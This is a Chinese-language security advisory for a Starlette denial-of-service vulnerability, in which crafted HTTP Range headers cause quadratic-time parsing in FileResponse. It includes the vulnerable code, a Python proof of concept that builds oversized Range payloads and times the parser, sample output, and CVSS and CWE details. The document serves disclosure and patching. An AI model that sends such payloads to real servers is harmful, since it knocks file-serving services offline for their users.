漏洞详情
包管理器: pip
受影响包: starlette (pip)
受影响版本: >= 0.39.0, <= 0.49.0
修复版本: 0.49.1
漏洞描述
概述
未经身份验证的攻击者可以发送特制的HTTP Range头,触发Starlette的FileResponse范围解析/合并逻辑中的二次方时间处理。这会导致每个请求都耗尽CPU资源,从而对提供文件服务的端点(例如StaticFiles或任何使用FileResponse的情况)造成拒绝服务。
详细说明
Starlette在FileResponse._parse_range_header()中解析多范围请求,然后使用O(n^2)算法合并范围。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
# starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # 存在O(n^2)复杂度ReDoS漏洞
class FileResponse(Response):
@staticmethod
def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
ranges: list[tuple[int, int]] = []
try:
units, range_ = http_range.split("=", 1)
except ValueError:
raise MalformedRangeHeader()
# [...]
ranges = [
(
int(_[0]) if _[0] else file_size - int(_[1]),
int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
)
for _ in _RANGE_PATTERN.findall(range_) # 存在漏洞
if _ != ("", "")
]
|
FileResponse._parse_range_header()的解析循环使用了存在拒绝服务漏洞的正则表达式,其时间复杂度为O(n^2)。特制的Range头可以最大化其复杂度。
合并循环通过扫描整个结果列表来处理每个输入范围,当存在许多不重叠的范围时会产生二次方行为。特制的包含许多小的非重叠范围(或特殊形状的数字子字符串)的Range头可以最大化比较次数。
此漏洞影响任何使用以下功能的Starlette应用程序:
starlette.staticfiles.StaticFiles(内部返回FileResponse)— starlette/staticfiles.py:178
- 直接的
starlette.responses.FileResponse响应
概念验证
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
|
#!/usr/bin/env python3
import sys
import time
try:
import starlette
from starlette.responses import FileResponse
except Exception as e:
print(f"[ERROR] Failed to import starlette: {e}")
sys.exit(1)
def build_payload(length: int) -> str:
"""构建Range头值体:'0' * num_zeros + '0-'"""
return ("0" * length) + "a-"
def test(header: str, file_size: int) -> float:
start = time.perf_counter()
try:
FileResponse._parse_range_header(header, file_size)
except Exception:
pass
end = time.perf_counter()
elapsed = end - start
return elapsed
def run_once(num_zeros: int) -> None:
range_body = build_payload(num_zeros)
header = "bytes=" + range_body
# 使用足够大的file_size,使上限默认为文件大小
file_size = max(len(range_body) + 10, 1_000_000)
print(f"[DEBUG] range_body length: {len(range_body)} bytes")
elapsed_time = test(header, file_size)
print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")
if __name__ == "__main__":
print(f"[INFO] Starlette Version: {starlette.__version__}")
for n in [5000, 10000, 20000, 40000]:
run_once(n)
"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds
[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds
[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds
[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""
|
影响范围
任何通过FileResponse或StaticFiles提供文件服务的Starlette应用程序;基于Starlette构建的框架(例如FastAPI)在使用文件服务端点时会间接受影响。未经身份验证的远程攻击者可以通过带有特制Range头的单个HTTP请求利用此漏洞。
参考链接
严重程度
高危 - CVSS评分:7.5/10
CVSS v3基础指标
- 攻击向量:网络
- 攻击复杂度:低
- 所需权限:无
- 用户交互:无
- 范围:未改变
- 机密性:无影响
- 完整性:无影响
- 可用性:高影响
弱点分类
- CWE-400: 不受控制的资源消耗
- CWE-407: 低效的算法复杂度
信用致谢
- 报告者:ch4n3-yoon
- 分析师:nadavaseal